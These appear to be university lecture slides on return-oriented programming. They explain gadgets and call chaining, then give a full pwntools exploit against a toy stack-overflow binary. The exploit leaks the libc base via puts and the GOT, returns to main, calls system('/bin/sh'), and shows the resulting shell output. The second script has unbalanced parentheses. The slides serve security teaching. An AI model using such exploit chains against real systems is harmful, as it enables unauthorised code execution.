

Return oriented programming

Insu Yun

Defenses

- Data Execution Prevention
 - Call existing functions in the program
 - Call library functions
 - **Code-reuse attack**
- Stack cookie
 - Information leak
 - Side-channel attack
 - **Non-stack vulnerabilities**
- ASLR
 - Information leak

Possible return-to-libc defense

- Delete powerful functions for exploitation!
 - e.g., system(), execve(), ...
- Then, you cannot launch /bin/sh anymore!

No! Return-oriented programming (ROP)

- You can make *arbitrary* computations using a large number of short instruction sequences called *gadget*.
- Check **The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)**
- Check **On the Expressiveness of Return-into-libc Attacks**
 - ROP in libc == Turing complete

Gadgets

- A short instruction sequence ends with `ret`.
- We usually can be found at the end of functions.

```
pop    rbx
pop    rbp
pop    r12
pop    r13
pop    r14
pop    r15
ret
```

More on gadgets

- Even we can get them by splitting exiting ones
 - 2-byte instructions into 1-byte one

```
0x400d82 <+98>:    pop    r15  
0x400d84 <+100>:    ret
```

```
0x400d83 <+99>:    pop    rdi  
0x400d84 <+100>:    ret
```

ROP: Call chaining by example

- Goal: call
 - setregid(1000, 1000);
 - system("/bin/sh");
 - Unfortunately, no single function exists for this job.
- Vulnerability: stack overflow
 - i.e., esp is pointing to stack whose data are controllable

ROP: Call chaining by example

- We can call setregid()!
- How can we pass arguments?
 - (1)? (2)? (3)? (4)?

(4)

(3)

(2)

(1)

setregid << esp

ROP: Call chaining by example

- We can call setregid()!
- How can we call system?

1000

1000

(1)

setregid << esp

ROP: Call chaining by example

- What is the argument of system?
 - Is it what we want?

1000

1000

system << esp

setregid

ROP: Call chaining by example

- Use a gadget: pop pop ret. e.g.,

```
pop      edi  
pop      ebp  
retn
```

ROP: Call chaining by example

system

1000

1000

ppr << esp

setregid

ROP: Call chaining by example

system

1000

1000 << esp

ppr

setregid

ROP: Call chaining by example

system

1000 << esp

1000

ppr

setregid

ROP: Call chaining by example

system << esp

1000

1000

ppr

setregid

ROP: Call chaining by example

Then, we can put our argument here! Am I correct?

"/bin/sh"

system << esp

1000

1000

ppr

setregid

ROP: Call chaining by example

"/bin/sh"

????

system << esp

1000

1000

ppr

setregid

ROP: Leak & Exploit

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    puts("Welcome!");
    vuln();
    exit(0);
}
```

ROP: Leak & Exploit

```
[*] '/home/vagrant/vuln'  
Arch: i386-32-little  
RELRO: Partial RELRO  
Stack: No canary found  
NX: NX enabled  
PIE: No PIE (0x8048000)
```

Our attack scenario

1. Leak libc address

2. system("/bin/sh")

Q: How to leak libc address?

Our attack scenario

- What about using exit@got?

???@got

????

puts

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    puts("Welcome!");
    vuln();
    exit(0);
}
```

Our attack scenario

__libc_start_main@got

????

puts

Our attack scenario

```
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome
payload = (b"A"*0x28 + b"BBBB"
           + p32(e.symbols['puts'])
           + p32(0)
           + p32(e.got['__libc_start_main']))
p.send(payload)

libc_start_main = u32(p.readline()[:4])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main -
            libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)
```

Leak

```
[+] Starting local process './vuln': pid 18665
[*] '/home/vagrant/vuln'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
LIBC_BASE: 0xf7e11000
```

Problem!

- Our payload cannot be completed without leak!
- Our program is terminating!
- Q: How can we resolve this?!
 - i.e., where to jump?

Back to main()

__libc_start_main@got

main

puts

- Then, we can retrigger the vulnerability again!

Back to main()

```
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome
payload = (b"A"*0x28 + b"BBBB"
           + p32(e.symbols['puts']))
           + p32(e.symbols['main'])) # CHANGED
           + p32(e.got['__libc_start_main']))
p.send(payload)

libc_start_main = u32(p.readline()[:4])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main -
            libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)

# 2nd exploit
libc.address = libc_base
payload = (b"A"*0x28 + b"BBBB"
           + p32(libc.symbols['system'])
           + p32(0)
           +
           p32(next(libc.search(b'/bin/sh'))))
p.send(payload)
p.interactive()
```

BOOM

```
[+] Starting local process './vuln': pid 18842
[*] '/home/vagrant/vuln'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
LIBC_BASE: 0xf7e11000
[*] Switching to interactive mode
Welcome!
$ id
uid=1000(vagrant) gid=1000(vagrant)
groups=1000(vagrant)
```